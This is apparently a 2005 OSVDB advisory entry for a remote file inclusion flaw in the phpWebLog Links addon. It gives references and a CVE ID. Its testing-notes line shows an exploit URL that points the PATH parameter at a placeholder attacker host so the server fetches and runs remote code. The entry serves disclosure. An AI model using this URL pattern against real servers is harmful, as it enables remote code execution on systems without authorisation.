phpWebLog Links Addon index.php Remote File Inclusion

2005-03-07T23:57:49
ID OSVDB:14630
Type osvdb
Reporter OSVDB
Modified 2005-03-07T23:57:49

Description

Manual Testing Notes

http://[victim]/[dir]/backend/addons/links/index.php?PATH=http://[attacker]/

References:

Vendor URL: http://phpweblog.org/ Security Tracker: 1013397 Related OSVDB ID: 14629 Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2005-03/0130.html CVE-2005-0698